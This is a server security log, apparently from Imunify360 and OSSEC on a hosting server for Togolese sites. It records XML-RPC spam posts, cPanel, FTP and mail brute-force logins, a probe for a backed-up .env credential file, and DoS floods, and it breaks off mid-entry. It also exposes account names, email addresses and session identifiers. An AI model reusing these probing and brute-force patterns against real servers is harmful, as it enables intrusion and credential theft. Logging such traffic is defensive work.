rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6d9606caa4abe7fe0a60b7970d946e97330da0f8||Title:0x9915a4c3||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.216.141
country_id: 2363686
description:
102.64.216.141 - - [25/Jun/2026:11:35:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737621&pdata=https%253A%252F%252Fsnb.tg%252Fcareer&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387305 HTTP/2.0" 302 0 snb.tg "https://snb.tg/career" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 OPR/124.0.0.0 (Edition ms_store)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.216.141


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:35:09 ns5 pure-ftpd[488337]: (?@134.122.27.233) [WARNING] Authentication failed for user [a.mathey]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0e208566b32880dc006e38cf1f617c6c246179e||Title:0x2a7c6b26||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.85.173.199
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.85.173.199: 80 connections per 30 seconds to 80 port.


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.85.173.199
country_id: 6252001
domain: 154.70.82.246
description:
IM360 WAF: Bad file extension||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/admin/.env.backup||User:root||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:233fe80c2abef1043d9d850fcdddabc57d916119||Title:0x4ef78589||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54af2805b1a007e1c34efca49ea10286890d2bd4||Title:0x21a22390||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3e86eddd4432d81541cff4db7aa3af960f1a2780||Title:0x9083f8e4||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:013184f348e3e1f1bb207f86c226453257ce883c||Title:0xf6653422||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:39:11 ns5 pure-ftpd[490266]: (?@134.122.27.233) [WARNING] Authentication failed for user [web_tv]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:124071eafa51d52cf740720d4c3354c42461ee3e||Title:0x3007410d||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-25 11:40:10 +0000] info [cpaneld] 196.170.45.140 NEW aopsacai:GWWlXewVWqrkNG3A address=196.170.45.140,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-25 11:39:23 +0000] info [cpaneld] 196.170.45.140 - aopsacai "GET /cpsess3467773318/frontend/jupiter/index.html?=undefined&login=1&post_login=18384355238846 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.168.0.186] != Current IP Address [196.170.45.140]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.117
country_id: 1880251
description:
43.173.182.117 - - [25/Jun/2026:11:40:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103130&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fjustice%25252Fuemoa-lodonou-kuami-succede-a-yaya-abdoulaye-a-la-cour-de-justice%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387602 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fjustice%2Fuemoa-lodonou-kuami-succede-a-yaya-abdoulaye-a-la-cour-de-justice%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.117


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-25 11:39:22 +0000] info [cpaneld] 196.168.0.186 NEW aopsacai:qTFMbG7r18aEXfQY address=196.168.0.186,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [25/Jun/2026:11:40:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013034&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fserge-akakpo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387634 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/serge-akakpo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6d750e455d648c4ac6129d7b018ef7ded7e1aa1b||Title:0x99a788af||RSV:8.20||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - wages@wages.tg [06/25/2026:11:42:08 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: wages@wages.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.224.0.26
country_id: 298795
description:
2026-06-25 11:41:55 dovecot_login authenticator failed for H=(94.154.35.215) [88.224.0.26]:56755: 535 Incorrect authentication data


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad15b804896d3f9601591bab78d95c2096f96d83||Title:0x721c0da8||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.107.37
country_id: 3895114
description:
[2026-06-25 11:43:09 +0000] info [cpaneld] 186.189.107.37 - lagora "GET /login/?login_only=1&user=lagora&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagora (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.27.108.199
country_id: 2017370
description:
[2026-06-25 11:42:48 +0000] info [cpaneld] 95.27.108.199 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.62.130.30
country_id: 2017370
description:
[2026-06-25 11:43:00 +0000] info [cpaneld] 109.62.130.30 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.232.229.168
country_id: 3469034
description:
[2026-06-25 11:43:14 +0000] info [cpaneld] 168.232.229.168 - lagor "GET /login/?login_only=1&user=lagor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 61.9.14.22
country_id: 1694008
description:
[2026-06-25 11:43:19 +0000] info [cpaneld] 61.9.14.22 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9156a53fcb2cc8c1abed291f779fa4357ab2e07d||Title:0x01c2d31f||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.203.181.154
country_id: 6251999
description:
[2026-06-25 11:43:23 +0000] info [cpaneld] 66.203.181.154 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.116
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-44.62.197.45.116||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.65.65.70
country_id: 6252001
description:
[2026-06-25 11:43:27 +0000] info [cpaneld] 174.65.65.70 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2e02c709d5585249e54e4b10dd280718d78b175||Title:0xb223ccc8||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.132.163.33
country_id: 2921044
description:
[2026-06-25 11:44:59 +0000] info [cpaneld] 91.132.163.33 - admin "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e50cbfc246a527a7375443ae4045f7730ec21e09||Title:0xb8f7cc3e||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.198.240.119
country_id: 6252001
description:
185.198.240.119 - - [25/Jun/2026:11:45:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9880730&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DZGlsYXJhLnNla2VyQHVyc2FzaGlweWFyZC5jb20%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387953 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=ZGlsYXJhLnNla2VyQHVyc2FzaGlweWFyZC5jb20=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.198.240.119


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4695783958542eb3a70993ecbff415e5085c8fae||Title:0xd2478cbd||RSV:8.20||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.223.142.125
country_id: 102358
description:
2026-06-25 11:46:30 dovecot_plain authenticator failed for H=([69.172.210.47]) [51.223.142.125]:34572: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.141.234.0
country_id: 3996063
description:
2026-06-25 11:46:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [189.141.234.0]:24611: 535 Incorrect authentication data (set_id=marketing@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.182.165.218
country_id: 3469034
description:
2026-06-25 11:47:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [179.182.165.218]:36840: 535 Incorrect authentication data (set_id=contato@togointerim.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78d1a39088efe471be23fe19180412231b82225c||Title:0x5ee5b42f||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.170.200.161
country_id: 2017370
description:
[2026-06-25 11:47:31 +0000] info [cpaneld] 195.170.200.161 - delxia "GET /login/?login_only=1&user=delxia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.141.56.36
country_id: 3017382
description:
[2026-06-25 11:47:38 +0000] info [cpaneld] 77.141.56.36 - delxi "GET /login/?login_only=1&user=delxi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.51.2.125
country_id: 1210997
description:
[2026-06-25 11:47:42 +0000] info [cpaneld] 103.51.2.125 - delx "GET /login/?login_only=1&user=delx&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delx (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.42.109.173
country_id: 2635167
description:
[2026-06-25 11:47:45 +0000] info [cpaneld] 217.42.109.173 - del "GET /login/?login_only=1&user=del&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user del (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e74dbab585629286e5d6fb5f17c6e7aec5194c95||Title:0xc15681f1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.91.145.237
country_id: 1522867
description:
[2026-06-25 11:47:48 +0000] info [cpaneld] 178.91.145.237 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.182.165.218
country_id: 3469034
description:
2026-06-25 11:47:25 dovecot_login authenticator failed for H=([69.172.210.47]) [179.182.165.218]:36840: 535 Incorrect authentication data (set_id=contato@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.47.112.92
country_id: 6251999
description:
[2026-06-25 11:47:29 +0000] info [cpaneld] 142.47.112.92 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0d20ae2de0512a1c254cd7d99e806584bc54af0||Title:0x474c573a||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.226.181.203
country_id: 3469034
description:
[2026-06-25 11:49:39 +0000] info [cpaneld] 179.226.181.203 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.155.212.21
country_id: 2661886
description:
[2026-06-25 11:49:35 +0000] info [cpaneld] 95.155.212.21 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.7.24
country_id: 1168579
description:
[2026-06-25 11:49:58 +0000] info [cpaneld] 72.255.7.24 - matw "GET /login/?login_only=1&user=matw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matw (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8003ed0e1ebf890f4379bbdf4ea7ab2ac5bd18fd||Title:0x26f3b5e1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.167.96.209
country_id: 3144096
description:
[2026-06-25 11:50:07 +0000] info [cpaneld] 81.167.96.209 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.193.174
country_id: 3508796
description:
[2026-06-25 11:50:03 +0000] info [cpaneld] 74.244.193.174 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.174.44.219
country_id: 2017370
description:
[2026-06-25 11:49:54 +0000] info [cpaneld] 79.174.44.219 - matwt "GET /login/?login_only=1&user=matwt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwt (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5b82f72a5f60e03e40110471403dca0f885f2b9a||Title:0x2b6c23e4||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d58faa9661312346ae5ffad9c8754fdf963d02bb||Title:0x79090b09||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:536ec6e48358d838a6a02efe34ca66b936e2374c||Title:0x18c88e89||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 137.255.57.121
country_id: 2395170
domain: portailbj.mesyscom.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><strong style=\"background-color: yellow; color: rgb(31, 78, 121);\">urgence signal\xc3\xa9e !</strong></p><p><span style=\"color: rgb(31, 78, 121);\"> </span></p><p><span style=\"color: rgb(31, 78, 121);\">bonjour mesys,</span></p><p><span style=\"color: rgb(31, 78, 121);\"> </span></p><p><span style=\"color: rgb(31, 78, 121);\">nous vous prions de vous rendre en urgence \xc3\xa0 notre agence </span><strong style=\"color: rgb(31, 78, 121);\">st michel </strong><span style=\"color: rgb(31, 78, 121);\">pour constater</span><strong style=\"color: rgb(31, 78, 121);\"> </strong><span style=\"color: rgb(31, 78, 121);\">le dysfonctionnement suivant :</span></p><ol><li data-list=\"bullet\"><span class=\"ql-ui\" contenteditable=\"false\"></span><strong style=\"color: rgb(31, 78, 121);\">le contr\xc3\xb4le d\xe2\x80\x99acc\xc3\xa8s dysfonctionne au niveau de la porte entr\xc3\xa9e bureau rsc (le lecteur en entr\xc3\xa9e ne r\xc3\xa9pond pas)</strong></li><li data-list=\"bullet\"><span class=\"ql-ui\" contenteditable=\"false\"></span><strong style=\"color: rgb(31, 78, 121);\">d\xc3\xa9clenchement intempestive de l\xe2\x80\x99alarme incendie</strong></li></ol><p><span style=\"color: rgb(31, 78, 121);\"> </span></p><p><span style=\"color: rgb(31, 78, 121);\">merc</span><strong style=\"color: rgb(31, 78, 121);\">i </strong><span style=\"color: rgb(31, 78, 121);\">de nous proposer une solution de r\xc3\xa9paration.</span></p><p><span style=\"color: rgb(31, 78, 121);\">nous vous remercions de nous communiquer \xc3\xa0 l\xe2\x80\x99avance le nom du technicien qui fera l\xe2\x80\x99intervention et pour la diligence habituelle.</span></p><p><span style=\"color: rgb(15, 71, 97);\"> </span></p><p><span style=\"color: rgb(31, 78, 121);\">cordialement.</span></p>||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 45.80.104.46
country_id: 294640
domain: ns5.netmaster.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:2083/cpsess7727697097/frontend/paper_lantern/wp-toolkit/index.live.php.ns5.netmaster.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.114
country_id: 1880251
description:
43.172.195.114 - - [25/Jun/2026:11:53:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066331&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F58589&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782388396 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/58589" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.114


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf0e098e39e09759722a230787bd9eefaf9eec08||Title:0x69d65822||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b31e0821bab2a553e4a08db4eda097870480cca9||Title:0xb9fd3277||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:315f2ff89d9bf8aa0f175fd0b13c258e6def06d8||Title:0x3c4a7b1d||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [25/Jun/2026:11:57:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197906&pdata=https%253A%252F%252Fwww.fundacionesperanzatogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782388620 HTTP/2.0" 302 0 www.fundacionesperanzatogo.tg "https://www.fundacionesperanzatogo.tg/" "Mozilla/5.0 (Linux; Android 12; M2102J20SG Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023002030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/30.2.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.3.5.7-bugfix AppVersion/30.2.3 BytedanceWebview/d8a21c6" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.fundacionesperanzatogo.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; 22111317PG Build/TKQ1.221114.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023108040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.8.4 ByteLocale/pt ByteFullLocale/pt Region/BR AppId/1233 Spark/1.4.3-alpha.5 AppVersion/31.8.4 BytedanceWebview/d8a21c6||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 95.40.51.164
country_id: 1819730
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=2116||QS:add-to-cart=2116||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.64.199.46
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.64.199.46: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.77.117.183
country_id: 2635167
description:
